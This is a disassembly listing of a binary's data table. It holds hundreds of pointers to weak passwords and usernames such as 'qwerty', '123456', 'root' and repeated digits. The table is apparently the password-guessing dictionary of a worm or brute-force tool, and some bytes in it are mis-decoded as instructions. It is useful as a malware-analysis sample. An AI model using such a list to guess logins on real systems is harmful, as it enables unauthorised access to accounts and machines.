dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial_0 ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset dword_430058
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_0 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_42F3A8
dd offset dword_42F3A4
dd offset dword_42F3A0
dd offset dword_42F39C
dd offset dword_42F394
dd offset dword_42F38C
dd offset dword_42F384
dd offset dword_42F378
dd offset loc_4263DB+1
dd offset dword_42F374
dd offset off_42F370
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42F364 ; "+"
dd offset asc_42F360 ; "++"
dd offset asc_42F35C ; "+++"
dd offset asc_42F354 ; "++++"
dd offset asc_42F350 ; "-"
dd offset asc_42F34C ; "--"
dd offset asc_42F34C ; "--"
dd offset asc_42F344 ; "----"
dd offset asc_42F340 ; "-+"
dd offset asc_42F338 ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_42F320 ; "$"
dd offset asc_42F31C ; "$$"
dd offset asc_42F318 ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_4263F0
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_426C78 ; "*"
dd offset asc_42F2C8 ; "**"
dd offset asc_42F2C4 ; "***"
dd offset asc_42F2BC ; "****"
dd offset asc_42F2B4 ; "*****"
dd offset asc_42F2AC ; "******"
dd offset asc_42F2A4 ; "*******"
dd offset asc_42F298 ; "********"
dd offset asc_42F28C ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_1 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset aChi_0 ; "CHI"
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota_0 ; "TOYOTA"
dd offset aToyota ; "toyota"
dd offset asc_432C24 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
; ---------------------------------------------------------------------------
or ah, ch
inc edx
add [esp+ebp*8], al
inc edx
add [eax+2Dh], bl
inc ebx
add ah, bh
jmp short loc_42E451
; ---------------------------------------------------------------------------
align 10h
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
; ---------------------------------------------------------------------------
movsb
test byte ptr [edx+0], 78h
sub eax, 0EBE00043h
inc edx
add al, bl
jmp short loc_42E46D
; ---------------------------------------------------------------------------
align 4
shr bl, 1
inc edx
add ah, al
jmp short loc_42E475
; ---------------------------------------------------------------------------
align 4
mov eax, 0B40042EBh
jmp short loc_42E47D
; ---------------------------------------------------------------------------
align 4
dd offset aWsx ; "wsx"
; ---------------------------------------------------------------------------
lodsb
jmp short loc_42E485
; ---------------------------------------------------------------------------
align 4
dd offset aRfv ; "rfv"
; ---------------------------------------------------------------------------
movsb
jmp short loc_42E48D
; ---------------------------------------------------------------------------
align 4
mov al, ds:9C0042EBh
loc_42E451: ; CODE XREF: seg002:0042E40Dj
jmp short loc_42E495
; ---------------------------------------------------------------------------
align 4
xchg eax, esp
jmp short loc_42E499
; ---------------------------------------------------------------------------
align 4
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
; ---------------------------------------------------------------------------
pusha
loc_42E46D: ; CODE XREF: seg002:0042E429j
jmp short loc_42E4B1
; ---------------------------------------------------------------------------
align 10h
dd offset aCc ; "cc"
; ---------------------------------------------------------------------------
pop eax
loc_42E475: ; CODE XREF: seg002:0042E431j
jmp short loc_42E4B9
; ---------------------------------------------------------------------------
align 4
dd offset aCccc_0 ; "cccc"
; ---------------------------------------------------------------------------
dec eax
loc_42E47D: ; CODE XREF: seg002:0042E439j
jmp short loc_42E4C1
; ---------------------------------------------------------------------------
align 10h
dd offset aCccccc ; "cccccc"
db 38h
; ---------------------------------------------------------------------------
loc_42E485: ; CODE XREF: seg002:0042E441j
jmp short loc_42E4C9
; ---------------------------------------------------------------------------
align 4
sub al, 0EBh
inc edx
add [eax], ah
loc_42E48D: ; CODE XREF: seg002:0042E449j
jmp short loc_42E4D1
; ---------------------------------------------------------------------------
align 10h
sbb al, 0EBh
inc edx
add [eax], bl
loc_42E495: ; CODE XREF: seg002:loc_42E451j
jmp short loc_42E4D9
; ---------------------------------------------------------------------------
align 4
db 14h
; ---------------------------------------------------------------------------
loc_42E499: ; CODE XREF: seg002:0042E455j
jmp short near ptr loc_42E4D9+4
; ---------------------------------------------------------------------------
align 4
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
db 0F0h
; ---------------------------------------------------------------------------
loc_42E4B1: ; CODE XREF: seg002:loc_42E46Dj
jmp far ptr 42h:0EAE80042h
; ---------------------------------------------------------------------------
db 0E4h
; ---------------------------------------------------------------------------
loc_42E4B9: ; CODE XREF: seg002:loc_42E475j
jmp far ptr 42h:0EAE00042h
; ---------------------------------------------------------------------------
db 0DCh
; ---------------------------------------------------------------------------
loc_42E4C1: ; CODE XREF: seg002:loc_42E47Dj
jmp far ptr 42h:0EAD40042h
; ---------------------------------------------------------------------------
db 0CCh
; ---------------------------------------------------------------------------
loc_42E4C9: ; CODE XREF: seg002:loc_42E485j
jmp far ptr 42h:0EAC40042h
; ---------------------------------------------------------------------------
db 0C0h
; ---------------------------------------------------------------------------
loc_42E4D1: ; CODE XREF: seg002:loc_42E48Dj
jmp far ptr 42h:0EABC0042h
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_42E4D9: ; CODE XREF: seg002:loc_42E495j
; seg002:loc_42E499j
jmp far ptr 42h:0EAB00042h
; ---------------------------------------------------------------------------
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_42EA9C ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_0 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
